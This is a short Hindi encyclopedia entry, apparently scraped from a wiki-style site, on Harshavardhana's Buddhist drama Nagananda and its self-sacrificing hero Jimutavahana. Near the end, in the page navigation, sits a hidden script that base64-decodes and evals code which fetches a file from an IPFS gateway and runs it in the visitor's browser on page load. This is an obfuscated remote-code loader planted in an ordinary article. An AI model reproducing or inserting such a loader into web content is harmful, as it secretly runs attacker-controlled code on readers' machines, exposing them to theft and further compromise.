नागानन्द  

नागानन्द हर्षवर्धन द्वारा रचित पाँच अंकों का नाटक है, जिसका कथानक बौद्ध धर्म से लिया गया है। इसका नायक 'जीमूतवाहन' अपने आर्दश चरित्र के लिए प्रसिद्ध है। परोपकार के लिए आत्म-त्याग की भावना का पूर्ण परिपाक हमें यहाँ दिखाई देता है।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=नागानन्द&oldid=620951" से लिया गया